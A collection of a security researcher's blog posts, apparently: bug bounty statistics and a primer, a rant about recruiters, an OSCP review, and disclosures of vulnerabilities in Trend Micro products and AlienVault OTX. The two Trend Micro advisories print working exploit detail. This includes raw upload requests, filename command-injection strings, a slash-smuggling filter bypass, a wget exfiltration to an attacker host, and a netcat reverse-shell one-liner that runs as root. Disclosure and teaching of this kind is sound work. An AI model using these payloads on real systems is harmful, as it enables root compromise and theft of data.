100 Bugs in 30 Days

Being a part time bug/bounty hunter, I was doing a little reading and was inspired by Shubham Shah who posted about his efforts to get 120 Bounties in 120 days.  I came across this article quite some time ago, and it has weighed heavily ever since.  Ultimately I decided to follow suite with a slightly more realistic goal of 100 bugs in a YEAR.  After all, I bug hunt on the weekends and evenings.  I can’t go full time, so a year seemed much more realistic.

Oh, but I can hear you saying, “WTF Korr, this post says 100 bugs in 30 days!  You canz no counterz! lolz”.  First off, stop talking like that, it’s extremely annoying.  Second, that’s no typo.  So here is what happened.  I started my 100 bugs in a year journey on november 20th.  It was a strong start with 3 bugs in the first day.  Then something magical happened.  My voice started cracking, and hair started grow…oop, wrong kind of magical.  The important thing that happened was twofold.  First, a HUGE program opened on the 20th (yes, same day).  I started shaking and dove right into the massive scope.  If you are involved with this particular program, then you know both just how massive the scope really is, and why I am hesitant to identify it.  Though I think there may be a hint somewhere in this post…  But getting in on the first floor for the new program wasn’t the only alignment in the stars.  A little over a week later, on the 30th, I received an invite to a private program.  I can’t disclose which yet, but the number of invited hackers seems to be a relatively small number, leaving competition rather sparse.

Getting in day one on both of these was massive.  However, I was still at a disadvantage because of the need to work nights/weekends.  But, diligence has paid off.  My eyes hurt, I am sleep deprived, and my brain feels like a shaken bowl of hot pudding.  But I got a large number of bugs in a short period of time.  As I write this, I have not been green lit to disclose details about my bugs.  Nor will I until given permission.  I am not allowed to give much information, but metrics are not listed as off limits, especially if I combine programs so as to further obfuscate the origins.  Which means I can at least combine all my bug findings across all the programs, and give a little bit of useful data about my experience.  I will not say which programs resulted in what findings, but will give a little insight into how many bugs per day, frequency of certain vulnerability types, etc.  Ideally, the disclosures will come very soon.

The first and easiest metric.  100 bugs in 30 days.  Or 3.3333 bugs per day.  Some days I had 0 bugs, others I saw a spike of 10 or more.

Considering this is a race for bugs, I am not ashamed to say I had a rather large quantity of Lows.  So be it.  A risk is a risk.  If they are worth points and/or money, I’m reporting them.  So clearly, this is not a case of 100 RCE vulnerabilities, though there were a few of those 😉  So judge me not, lest ye can do better, and if ye can, mentor my simple ass.

So without further ado, here are a list of bugs by vuln type, in order of frequency (it’s important to note that some of the reports were for ‘multiple instances’, but I am only counting the reports):

  • XSS – 41
  • Error Message/Info Disclosure  – 19
  • HTML Injection – 11
  • SQL Injection – 6
  • Authentication Flaws/Bypass – 5
  • Unchecked Redirect – 5
  • CSRF – 4
  • Weak/Default Credentials – 2
  • User Enumeration – 2
  • Misc – 5

NOTE: Misc includes Subdomain Hijack, Insecure Direct Object Reference, External Service Interaction, AV Signature Bypass, and a known RCE vuln

Now for the big question I was dying to know. What is the market value of these bugs?  Given other projects of similar scope (Google and Facebook), here is the estimate (based on publicly disclosed monetary awards and bounty program pages):

Google – $285,000 (rough estimate)

Facebook – Tougher to estimate, but placing the amount smaller than Google at about $160,000

So these are rather unrealistic in the sense that these programs are currently demolished and this number of bugs is rather unlikely at the moment.  But what about HackerOne’s own estimates?  They estimate values as listed below:

  • Low
    • Median – 100
    • Competitive – 250
    • Top – 500
  • Medium
    • Median – 150
    • Competitive – 600
    • Top – 1500
  • High
    • Median – 500
    • Competitive -2500
    • Top – 4000
  • Critical
    • Median – 1400
    • Competitive – 9000
    • Top – 15000

Using these values, the HackerOne Median worth is roughly $22,000.  Using a rough 6x value to derive the Top value (because I’m tired of writing this post), I would be looking at $132,000 for Top values.  Or a 4x multiple for Competitive, coming to 88,000.

Sad panda

No matter how I look at the numbers, that’s a solid 5 figures worth of bugs….that I won’t be getting paid for….

Yes, that’s right, no money.  Well, almost none.  I anticipate a couple grand from the private program.  But all the other programs were for points and/or swag.  And even then, the points system was completely screwed up (I will discuss this soon…).  So I will be walking away with a boost in rankings only.

To top it off, I will be posting a rant about the short falls of a poorly implemented bug bounty platform.  Get ready, I’m about to bite the hand that feeds me.  But for now.  I’m just going to revel in what I accomplished in a month.  I’m happy.  That’s good for now.

Also important to note, I’m still working on the massive…OMFG sized scope program.  I only get points (biting my lip as to why that’s an extra bad rub – more on this later), but those help get invites right?  That’s what I’m told….but I now have my doubts.  Serious doubts.

Multiple Vulnerabilities – Trend Micro Control Manager 6.0

The following are publicly disclosed vulnerabilities I discovered with TrendMicro Control Manager 6.0

Full details of the vulnerabilities have not been agreed upon for disclosure, so this is more for record keeping than anything else.  Please do not inquire for details as there is no agreement in place for me to divulge any.  As much as I would love to discuss and help, I prefer staying out of jail much more 🙂

  • ZDI-CAN-3634 – Closed without public disclosure (unknown reasoning as it was/is a valid finding)

SQL Injection with RCE:


XPATH Injection:

Top 3 Ways To Fail As A Technical Recruiter

Quick disclaimer.  I am not actively looking for a new job.  I have a solid salaried gig that pays well and allows for a very accommodating work/life balance.  But that doesn’t mean I don’t still ‘collect’ contact information with solid recruiters in case the shit hits that fan.  So when I get contacted about jobs, 99% of the time I am already going to say ‘not interested’.  But politely, and I will take some time to build a bit of rapport in case I need to talk to the person again in the future.  But…this describes the idealistic scenario that rarely occurs.  The reality of what I experience with unsolicited recruiters is far from amicable.  In fact, I have begun to have an anxiety response before ever speaking to most of them.

I started asking myself, why am I so upset about people trying to find me work?  Well after a very brief examination of my experiences, a few major gripes covered almost all of my experiences with technical recruiters.  Those who are the exception to what I list below, are not only going to hear back from me if/when I am back on the market, but will easily get referrals for my friends/colleagues. If that is what you are looking for when recruiting for technical positions, then you better pay attention and take this to heart.  After asking around, I am not alone in this, and my responses are often (unbelievably) more tasteful than some of the anecdotes I have heard from friends.


NUMBER 1: Don’t speak clearly or effectively

A typical week for me would not be complete without roughly a half dozen unsolicited phones calls about positions. This sounds like a large amount of unrealized opportunities right?  Well, you got the unrealized part right, but not for the reasons most would think.  The reality is that nearly all phone calls I receive about new positions are completely unintelligible.

aaeaaqaaaaaaaaanaaaajdbiy2uzyzkwlwvhzgqtndc3mi1inty3ltq2yze3yjy1yjcwmgNote that this doesn’t mean I have to listen to the message two or three times to discern what is being said.  I mean literally unintelligible.  If it weren’t for the different numbers, and clearly different voices and dialects, I would think I was getting trolled or pranked.  Because I cannot understand what the majority of these callers are saying, I have just begun to ignore calls from recruiters, and if I can’t understand the first few words in the voice mail message when played back, it gets deleted outright.  A typical voicemail, and again I get about a half dozen of these a week, sounds like this:

“HHHHaslo, ez eez yeshmal galbreek <unintelligible words mixed with crumpling paper sound> position <whispered and unintelligible>”

As I was trying to write that out I just gave up trying to translate.  And that right there is the problem.  I am literally trying to translate it and the message is still not discernible.

So let me repeat that I receive at least a half dozen of these a week.  At this point, I see a number I don’t recognize and my blood pressure goes through the roof.  Stop, just STOP.

  • Don’t farm out recruiters
  • Don’t take a phone gig in a language you are not fluent
  • Do email.  It’s easy, and audio technical difficulties and accents are much less of a problem

NUMBER 2: Don’t understand the sector for which you are recruiting

This is disturbingly common.  It would appear that people get into recruiting thinking it will be easy money and most jobs are interchangeable.  Maybe that happens in other sectors, but I seriously doubt it.  And with technology I can speak with utter certainty that this isn’t the case.  Because I believe examples and metaphors are the best way to convey a concept, let’s look at a recent conversation I had.

Before I stopped accepting calls from unrecognised numbers and while I was still actively looking for work, I answered one such call and the conversation went like this:

Me:  Hello?

Caller: Good Morning Mr. <blank>, how are you this morning?

Me:  Um, I’m good…..

Caller:  That’s nice to hear! I’m calling about an amazing opportunity we have with a client, and I was wondering if you are currently looking for a new position?

Me:  Actually I am at the moment.

Caller:  Excellent!  It’s a three month contract for <company>, doing quality assurance!  I see that this kind of work is on your resume and thought you would be an amazing fit!

Me: …oh….ah….well, that was about 10 years ago, and would be a massive step back in my career.  It’s not remotely what I do now.

Caller: <a few seconds of silence>…I haven’t even gotten to the best part.  It pays $15 an hour!  That’s good money!

Me: <unable to stifle the laughter> That’s so below what my going rate I can’t…I…wow, no.

Caller: Really?!

Me:  …ah…ya.  So like I said, I did that work over 10 years ago.  I work in information security now.  I can’t even remotely entertain that kind of a step back.

Caller:  How much of a step back is that really?  I mean it’s the same kind of work.

Me:  …so I’m actually going to hang up the phone now.  I would highly advise you to research the industry a little more before cold calling people.

<I hung up>

less-is-moreFor those not in the know, pen testing is in the range of 75k to 150k depending on experience and credentials (read certifications).  At $15/hour this guy was pitching me a $30k/year job and treating it like it was the holy grail.  This is all after he failed to recognize that he was pitching a job from 10 years back in my career, and failing to recognize that what I do now is not remotely the same as what he was pitching.

If this were an isolated incident it would be a humorous anecdote at best.  But….it’s not an isolated incident.  I have had conversations like this, mostly over email now, over a dozen times.  That’s a trend folks.  A clear cut sign of laziness.  Don’t just think that he’s screwed up by pitching me a job incorrectly, but think about how this represents him as a recruiter.  He was lazy and uninformed.  Do I want that person looking for work for me?  Do I want that person representing me?  Hell no.  Don’t be this guy.

  • Don’t be lazy about reading and comprehending resumes.  A couple hours of reading about an industry can ratchet up your success rate by filtering appropriately
  • Don’t be delusional/arrogant about who you are or what you know or what you have to offer
  • Do take the time to find a solid fit, or at least approach it differently (“I see you haven’t done this in a while, but thought why not try?”, will go much further for longevity of interaction, and actually something I encountered from a recruiter with whom I still speak to this day, primarily because of using that approach)


NUMBER 3: Don’t recognize time zones

Assuming I come across a recruiter and there is a need to interact long term, this next one has been a major problem in the p ast.  Not so long ago I found myself looking for work with a bit of an intense drive.  I felt I needed a new position immediately and was willing to overlook several issues just to have more opportunities.  Along came one such opportunity that actually sounded great and not like I would have to settle for a lesser position just to get a pay check.9cedc5066c87efc1c09dffe668c6adf919500a34b9cb337a3afff7aa1622f6fc

The initial outreach was over linkedin and email.  After a couple messages I was handed off to a ‘lead recruiter’ to facilitate interaction with their client.  The next morning, at 5am local time, my phone began to ring.  Turns out, the recruiter is on the east coast, and I’m on the west coast.  And more importantly they did not see me as a person but a name on a list that would potentially convert into a commission.  Nothing else.  This sounds jaded and/or cynical, but the reality is that this wasn’t an isolated incident.

After apologizing to me after I enlightened him about what it meant to be 3 hours earlier, he continued to forget about the time zones no less than 3 more times over the stretch of two weeks.  The fourth incident saw no apology or recognition.  It became clear he just didn’t care, and expected everyone (me) to be at his beck and call.  I was highly motivated for a new job, and yet I told him to stop calling me.  It wasn’t worth the stress of the interaction, and more so, I realized that if he was this inattentive with me, then representing me to the client was going just as dismally.

No thanks.  Don’t need that, don’t need you if this is your mentality. Let me reiterate, I was highly motivated to find work, and was willing to risk losing the opportunity because this person was so awful.

  • Don’t expect you’re clients (on either side) to cater to you, you are the one offering a service, we are the customers, cater to us
  • Don’t treat you’re clients like expendable fodder for your bank account
  • Do think of us as what we are, people.  With lives of our own
  • Do be personable and compassionate (pretend to be a friend if you have to)

Bug Bounty Program Primer – Finding Vulnerabilities for Fun and Profit

After some requests and questions asked, I decided to answer the emails in the form of a post about bug bounty programs.

For those that do not know me personally, let me get the ‘street cred’ out of the way.  I have been bug hunting (bounty hunting) for a couple years now, and came in 10th during the “Hack the Pentagon” bug bounty program.  I have amassed a large number of unknown bugs (0days).  Some have been disclosed, others have not.  I have discovered many different types of web application vulnerabilities in the wild (SQLi, LFD, XXE, XSS, Arbitrary File Upload, Command Injection, etc.).  And on and on and on.  Hopefully that’s enough for me to dispense with some lessons learned and help some of you get a start in securing the Internet 🙂  I’ve structured this like an FAQ of questions I had and have been getting asked, so let’s get this started….


What is a bug bounty program?

In essence, this is a way for companies to open the doors to security researchers (white or black hat) to find security problems without fear of legal repercussions.  Note that this doesn’t mean you won’t go to jail.  Generally there is a scope to the bug bounty program, and if you go outside that scope, you cross the legal protection and could easily get in trouble with the law.  For example, if the scope says you can attack ‘www.foo.com’ and you find a flaw in ‘bar.foo.com’…you are attacking something they did not say you could.  Expect legal fees, and potentially a really large ‘friend’ when you get locked up.

Bug bounty programs are appealing because they don’t just offer a way to ethically disclose security flaws, but they often also offer incentive.  These incentives range from a ‘Hall of Fame’ listing those who have discovered legitimate problems, to swag (T-shirts, stickers, etc.), to a hand shake with the Almighty (yes I’m deifying cash).


Will I get arrested for participating in bug bounty programs?

Short answer, maybe.  That depends on your ability to read and follow directions.  If you stay in scope, you are covered.  If you don’t…..


Where can I find a list of bug bounty programs?

There are more lists than these, but here are the ones that I have bookmarked.  Though to be honest, at this point I just refresh hackerone and bugcrowd.

  • https://hackerone.com/directory
  • https://bugcrowd.com/programs
  • http://www.vulnerability-lab.com/list-of-bug-bounty-programs.php
  • http://www.w4rri0r.com/bug-bounty-programs/where-are-you-bug-hunters.html


How competitive are bug bounty programs?

This depends.  If you get in at the ground level, it’s more of a race than anything.  Hack the Pentagon I had the majority of my findings closed as duplicates.  I simply got beat to the punch.  But I had several findings that were accepted too.  Generally speaking, the longer the program has been running, the harder it will be to find stuff.  Logically that makes sense as there are hundreds of eyes looking for low hanging fruit, and the ripest fruit (big bounties).  Look at hackerone and bugcrowd, pick some programs and check how many bugs have been found, fixed, and how many hackers have been thanked.  The larger the number, generally the harder it will be to find something profitable.  Not impossible, but harder.

Take Google and Facebook as a prime example.  They were inundated with findings when their programs opened.  Now, it’s a headline when someone finds something of merit.  It took them over a year before there was a noticeable slowing in headlines about bugs.  And now it’s almost a pride thing to get a bounty in either program.  There are still bugs to be found….but they are not anywhere near as prevalent, or easy to find.

So the short answer is, if you get in quick, it’s pretty easy to find stuff.  The longer you wait, the more bugs will be consumed by pros.  Plan accordingly.


What is the general process for finding a bug or vulnerability?

This is in no way an easy question to answer.  I have derived my own strategy with the base I learned from a web application security course I took.  I have since modified (mutated) it to fit my own personal style.  Unfortunately the depth of the question does not lend itself well to this post, and I will have to revisit this in length, at another time in another post.  For now I’ll give a brief overview of the strategy I use.

  • OSINT – identify all information I can about the target to flesh out the scope as much as possible (ie. subdomains, user accounts, etc.)
  • Examine each URL, in the scope, and categorize functionality (file uploads, probable DB queries, user input that is reflected, etc.)
  • Categorize possible attack locations
  • Use a generic test at each attack location
  • If there is a possible attack vector, dig deep, otherwise move on


How long should I spend on a particular bug bounty program?

Here’s another ‘it depends’ answer.  I find that some programs are VERY ripe.  And warrant more time.  Others, are like rubbing my face on asphalt to get dolled up for prom.  This is where experience really comes into play.  Generally I spend a day or two getting a feel for the target.

Let’s look at some real world examples.  I spent a week looking at the united airlines bug bounty program.  This was a headline making program and I saw it as a challenge to hit the boards.  My goal (was still relatively new to bounty hunting) was just a single bug.  I found that first bug on day one.  This lent to the logical conclusion that the scope would be pretty ripe.  Unfortunately by the end of the week I was only getting duplicates and decided it wasn’t worth the time spent.  I was glad to be on the boards and called it a day.  They are still making pay outs, so I think I missed out.  Big lesson learned.

sighOn the flipside, pornhub recently launched their program with hackerone.  As it turns out, they had already been running a private program (BOOOOOO….I’d tell them to go F themselves for that, but…uh….I’m pretty sure that’s what that site is all about), which clipped most of the low hanging fruit.  After a day, I realized they had gotten all the easy stuff and I was looking for obscure stuff.  This was an easy one to walk away from.  Recently there was a headline how pornhub paid out a bounty…..for a couple guys who used zero days in php to attack them.  Read that again, they attacked the language, not the site.  The bug(s) used would have gone for MUCH more than what pornhub paid out, but that neither here nor there.  The point is, a zero day was required to get a decent pay day.  I walked away perfectly.  Lesson learned.


How long does it take to find a bug or vulnerability?

And again, it depends.  I’ve had bugs pop up within minutes.  I’ve gone weeks on a program and found nothing.  It really depends.  Part luck, part skill, part experience.  And when I’m working on a COTS product, I’ve had a few apps that panned out to nothing (only a few).  Some apps I spend a couple days on, some months.  In the case of the latter, I recently concluded a 6 week gruelling campaign against a major vendor, on one of their products.  Found RCE, over a dozen SQLi….and no one gives a shit.  Totally wasted time.

On the other hand, in another product I discovered a stacked SQLi in the very first parameter I tested.  That landed me several grand.  It’s almost like playing the lottery.  If you want in this game, you really have to want to be in this game.  There are many pits of nothing.  Be ready for them.


What if I find a bug in a product that does not have a bug bounty program?

First off, if you are hacking sites without permission, stop.  Stop now.  You will go to jail.  Any bounty/bug I have found has either been within an authorized bug bounty program, or with a COTS (commercial off the shelf) product within the confines of my own personal lab.  If you attack something, you better be damn sure you have the permission to attack it.

That being said, there are 3rd party organizations that will buy bugs in products with no bug bounty program.  They are legal.  Here is a quick list of the top 3 and how they legally disclose/use your vulnerabilities/exploits:

Zero Day Initiative – a direct quote: “TippingPoint provides a “virtual patch” functionality that protects vulnerable systems from compromise when host-by-host patches have not been applied or do not yet exist from the vendor. Our security research team develops new Digital Vaccine® protection filters that address the latest vulnerabilities and are constantly distributed to our customers. By writing vulnerability filters for security issues that come in through the Zero Day Initiative, TippingPoint maintains a competitive edge while protecting customers and encouraging security researchers to bring findings into the public domain.”

Beyond Security – Sells the vulnerability/exploit to pen test companies for use in their engagements, while simultaneously working with a vendor to correct the vulnerability.

Zerodium – Sends vulnerability information to a feed that their clients subscribe to, allowing for protection before a fix is implemented.


What tools should I use for finding bugs or vulnerabilities?

Here is another big post in the making.  I’ll be as brief as I can here, while plotting on another post to go in depth.

Burp Suite is the go to here.  Period.  I have a pro license (though the scanner is largely unused).  If you are serious about bug hunting, get the free version and decide if the pro version makes sense later.  In 90% of the cases, the free version will be plenty.

I do occasionally use SQLMap.  Though only when I can’t figure out the PoC (Proof of Concept) on my own.  It’s great for automating possible injection strings, but noisy as all hell (definitely recommend not using during red team engagements).

DirBuster is sometimes used for finding folders, pages, and docs that are not intended to be referenced, though that is rarely something I check during bug hunting.

Finding subdomains is a necessity (typically with *.foo.com scopes).  For this I generally use sites like https://pentest-tools.com/information-gathering/find-subdomains-of-domain

ZDI-16-348: Trend Micro InterScan Web Security ManagePatches filename Remote Code Execution Vulnerability

Version: IWSVA65sp2


The com.trend.iwss.gui.servlet.ManagePatches servlet contains a flaw allowing any authenticated user (including ‘Report Only’ users) to execute commands under the context of the root user.


The com.trend.iwss.gui.servlet.ManagePatches servlet is used by elevated privilege users to upload files (patches). The functionality, however, can be used by any authenticated user simply by substituting their cookie into the request (below is a sample of the stripped down valid request).

POST /servlet/com.trend.iwss.gui.servlet.ManagePatches?action=upload HTTP/1.1
Host: <server IP>:8443
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://<server IP>:8443/admin_patch_mgmt2.jsp?CSRFGuardToken=MQG8WJXIT4J8GASYYA7OVCXXBKUIGG5D
Connection: close
Content-Type: multipart/form-data; boundary=—————————141658507810329061771972399818
Content-Length: 259

Content-Disposition: form-data; name=”patchFileName”; filename=”test.xml”
Content-Type: text/xml


The actual injection takes place in the name of the file being uploaded. By performing the following tests, the delay in responses indicates that command execution is occurring.

Initial test:

Content-Disposition: form-data; name=”patchFileName”; filename=”test.xml&ping -c 10″
Content-Type: text/xml

Secondary test:

Content-Disposition: form-data; name=”patchFileName”; filename=”test.xml&ping -c 30″
Content-Type: text/xml

This gives any user the ability to execute simple non interactive commands. However, more complex (including remote shell) are possible.

By issuing a ‘wget <ip>’ of the attacker machine, a response is seen. However, exfiltrating information a bit more tricky. Special characters like ‘/’,'<‘,’>’ are not sent across to the server. But utilizing the environment itself, it becomes possible to insert characters like the ‘/’. Below is an example of a user running a wget to retrieve the current user using the given command (where [ip address] is your receiving machine):

Command –

filename=”test.xml&wget `echo [ip address]“echo $PATH | cut -c1“id`”

EXPLANATION: using ` (or even $()) to escape, it is possible to pull the ‘/’ character from the current $PATH and insert it into the command, creating the full wget of [ip address]/`id`

Apache Log –


This grants the ability to exfiltrate some data, as well as upload (via wget) files.

Now the attacker has the ability to create a shell by uploading a file containing the following:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip address] 5555 >/tmp/f

To upload the file, the attacker simply names this file to shell, then uploads using this vulnerability and wget:

test.xml&wget `echo [ip address]“echo $PATH | cut -c1`shell

Once the file has been uploaded (will be placed in the /var/iwss/patch/bin folder), the attacker can chmod and then execute the file as a script, creating a reverse shell, running as root:

test.xml&chmod a+x shell

test.xml&.`echo $PATH | cut -c1`shell


CVE-2016-5840: Trend Micro Deep Discovery hotfix_upload.cgi filename Remote Code Execution Vulnerability

Version: TDA 2.6.1062r1


The hotfix_upload.cgi file contains a flaw allowing a user to execute commands under the context of the root user.


The hotfix_upload.cgi file is used to upload files (hot fixes). Below is a sample of the upload function being used:

POST /cgi-bin/hotfix_upload.cgi?sID=hotfix_temp HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: https://<server IP>/cgi-bin/hotfix_history.cgi
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Content-Type: multipart/form-data; boundary=—————————7e0823930136
Accept-Encoding: gzip, deflate
Host: <server IP>
Content-Length: 206
Connection: close
Cache-Control: no-cache
Cookie: session_id=

Content-Disposition: form-data; name=”ajaxuploader_file”; filename=”test.txt”
Content-Type: text/plain


The actual injection takes place in the name of the file being uploaded (ie. filename=”test.txt&id”). By performing the following request, system information is sent back in the response:


This gives any user the ability to execute simple non interactive commands. However, more complex (including remote shell) commands are possible.

Special characters like ‘/’,'<‘,’>’ are not sent across to the server. But utilizing the environment itself, it becomes possible to insert characters like the ‘/’. Below is an example of a user using this method to retrieve the /etc/passwd file (NOTE: `echo $PATH | cut -c1` will print ‘/‘ to the final command):


Now the attacker has the ability to create a shell by uploading a file containing the following (where [ip address] is your receiving machine):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ip address] 5555 >/tmp/f

To upload the file, the attacker simply names this file to shell, then uploads using this vulnerability and wget:

test.txt&wget http:`echo $PATH | cut -c1“echo $PATH | cut -c1`[ip]`echo $PATH | cut -c1`shell

Once the file has been uploaded (it will be placed in /opt/TrendMicro/MinorityReport/www/cgi-bin), the attacker can chmod and then execute the file as a script, creating a reverse shell, running as root:

test.xml&chmod a+x shell

test.xml&.`echo $PATH | cut -c1`shell


otx.alienvault.com Local File Disclosure

Those who know me are aware that I partake in bug bounty programs.  Today I’m giving you a brief post on a recent finding and the response/reward received after the submission.

AlienVault had a swag based bug bounty posted, which appears to have gone offline as I can no longer find the page detailing the program.  But while it was live, I decided to take a look since swag based programs are often less examined compared with that of their monetary based brethren.

Within a couple hours I had identified a JSON API by simply altering the unique ID in the URL to that of an invalid ID.  This allowed me to inspect the particular call a little more closely, and that’s where the fun began.


By following this same strategy I was able to find information on other API functions, including one called ‘extract’ (https://otx.alienvault.com/otxapi/extract).

The extract query appeared to be pulling data from a flat file, and creating a CSV from the contents before presenting to the user for download.  Clearly this looked interesting.  I tried a few basic path traversals with no luck, then tried escaping the forward slash…..and….

OTX AlienVault Local File DisclosureUh oh.  Victory for me, red flag for the security team.

I don’t like leaving bugs with this level of severity on the table for even a short period of time.  Reflected XSS, sure I’ll stack a few and send en masse.  But not higher criticality bugs.  So I drafted a rather brief email to the PoC for the bug program, with the above screenshot, and sent it on it’s way.

I submitted the bug on May 8th, and by the 13th I was notified that the bug had been confirmed and mitigated.  Excellent response time 🙂

With the mitigation I received the following insight into the finding:

By the way an interesting note on your particular vuln is that we are running inside a container.  We still treat a vuln like this with the highest priority as there are things in that container that are secrets, but for the most part we considering the risk of this vuln largely mitigated by that encapsulation.

This was good to hear as it meant that segmentation was built in.  Good security practice, so kudos there.  Additionally, I’m always happy to see forward thinking companies, like AlienVault, that take a proactive stance to improving security.  Programs like this greatly improve overall security posture, often at a fraction of the cost, and help encourage those of us who want to do the right thing, to do exactly that.

As thanks, AlienVault sent me the following swag bag.

20160602_074255There was actually a second laptop cam cover, but I promptly used it to remove the taped on paper cover I have been using heh.

I plan on wearing the ‘gray hat’ at cons in the future.  Thanks to AlienVault for doing the right thing, and special thanks to Russell Spitler for the quick and friendly responses on the finding!

Hack the Pentagon Top 10

Had to brag a little, because I’m a bit pleased with myself.  The first ever “Hack the Pentagon” bug bounty program kicked off Mid April (the 18th?).  I submitted several flaws within the first 24 after feeling i had fished out the easy shit.

pentagon top 10


At the time of the screenshot, I have 8 verified bugs.  You don’t want to know how many duplicates I had (sigh).  Despite this being an ‘invite-only’ private bounty program, there was a lot of media hype and a lot of participation.  The scope was slammed within the first hour.

This is my major ‘gripe’ about bounty programs.  The competition is ridiculous.  The first few days are where the real meat will be found, and the majority of findings are within the first few hours.  This means that whoever sees the program go live, has the best chance.

These programs lack an overall structure that makes it REALLY hard to compete through programs like hackerone and bugcrowd.

I’ll stop whining now.  My goal with the program was to hit the top 10.  Didn’t think i would, but….i’m happy to have been wrong!!!!

An OSCP Review – The OSCP Epic Part 4 – Grand Finale

As of March 12th 2016 I am OSCP certified.  Writing that first sentence was VERY bitter sweet.  I stopped doing the lab after the 4th month.  In all i was putting in roughly 25 hours a week into the lab.  The last two week stint I purchased was a huge boon and pushed well in to the 30+ machines owned category.

You would think that prepared me for the exam.  But it didn’t, and it won’t prepare you either.  It took me more than one attempt to pass.  And the experience I had taking the exam was frustrating, aggravating, and disgusting.  I realize how negative that sounds, and it’s intentional.

Take the hardest machines in the lab, with all their bullshit CTF style games, and give yourself 24 hours to crack them.  Let me revisit that first part.  The exam machines are CTF style.  This means no real world, realistic flaws.  No.  You are given machines that are deliberately configured such that you have to solve puzzles.

The vulnerabilities WILL BE MODIFIED.  If you see a local file inclusion, expect to have to use it indirectly, or to find a ‘clue file’.  Then use that second part to find a third part.  And the third to find a fourth and maybe, just maybe gain shell access, only to solve a WHOLE NEW SET OF PUZZLES to escalate.

And this is why passing the exam is bitter.  Yes I’m one of the few who now holds the piece of paper.  But what does it mean?  The lab helped get my hands dirty and practice with some real flaws and research.  But was vastly unrealistic.  The exam, was despicable and bizarrely inaccurate for a real world demonstration of skill.

I’ve been doing pen testing and red teaming daily, for 5 years now.  And the exam and lab DO NOT PREPARE YOU FOR THE REAL WORLD.  Let me repeat, THEY DO NOT PREPARE YOU.  Am I saying the real world is crazy hard?  Fuck no!!!!  Popping a targeted user base with phishing, moving laterally until you can get domain admin credentials, shadow copy, etc…..FAR EASIER.

Using known vulnerabilities in a real exercise….you don’t have to find clue files, decipher cryptic files to find hidden directories, etc.  My experience with real engagements is far more closely related to a con game than anything, combined with technical knowledge.

How would/could you test that?  No idea.  But I can tell you one thing, the OSCP will not show you what to expect when you are confronted with a real organization.  Not every box is readily exploitable.  Often you have to rely on skills and tricks that are outside the realm of exploits.  Read: conning users into giving you the credentials you want (drive by downloads, social engineering, pop ups, etc).

I’m going to end my rant and summarize.  Yes i’m now certified.  I can’t say i would ever endorse this cert for real world training.  It will get you jobs that pay a lot of money, but you will have to learn real TTPs crazy fast or lose that very same high paying job for not knowing what to do, when, or how.

It is my solid opinion that the OSCP will set you up for failure in the real world.  If you know little to nothing about pen testing, then the course will help facilitate your education.  But not by teaching you, by giving you a sandbox where you effectively TEACH YOURSELF.

I feel like a i just got the CISSP part 2 🙁

An OSCP Review – The OSCP Epic Part 3

I just purchased my third month, and I have mixed feelings about doing so.  I have spent almost 6 weeks (minus 2 out of the 8 for selling my house and moving), averaging almost 20 hours per week.  At this point i have 25 machines fully rooted/system’d, including the ‘gimme’ msf box.  My goal was 24 before taking the exam, but that goal has changed as i discovered my personal weak areas.  That being privilege escalation and modification of binary exploits.

I can say with certainty that web based application hacking experience has carried me far, and fast.  I dropped MANY machines by utilizing web based attack vectors, but have been informed that most machines have multiple avenues of compromise.

Currently, I have all but one network unlocked (dev…wtf?!).  This is a major bone of contention for me.  I have access to the machine that touches the dev network, but haven’t gotten priv esc to unlock the network key.  Why is that frustrating?  because i have shell, and can…well in the real world I WOULD be able to….access the dev subnet.  But because i haven’t unlocked the subnet, i can’t reset machines, and am having port scans come up dead.

So the try harder adage applies right?  Well, yes, but i have uncovered no less than half a dozen machines that unlock the IT network, and only one that unlocked the admin network, and one that will likely unlock dev.  I find this to be disproportionate, and ridiculous, especially when i find a fucking IT subnet key, on an admin network machine (you have to unlock IT before admin).

So i’m a bit frustrated, and a bit disillusioned.  Having done Red Team exercises and pen testing (professionally) for a few years now, i find some of the lab to be realistic, and other parts nothing more than game play.  There is literally a box where it’s nothing more than a CTF style challenge.  No spoilers, but that one aggrevated me on a whole new level, and not because I couldn’t pop it, but because it had no real value other than playing a ‘game’.  It’s not realistic in the slightest.

This leaves me with another month to do the following:

  • Pop a few more boxes (ideally the dev net…sight)
  • Practice priv esc until i gain a little more comfort
  • Practice exploit modification (essential for the exam)
  • Write my lab report
  • Prep my test report

That’s a tall order for one month, but i’m tired of the ‘game’ aspect of the lab, and really fatigued.  I need to rest, and want the exam done with.  So i will be scheduling it for a few weeks after this month is over.  So I should be taking it sometime before christmas.  I can’t wait….lol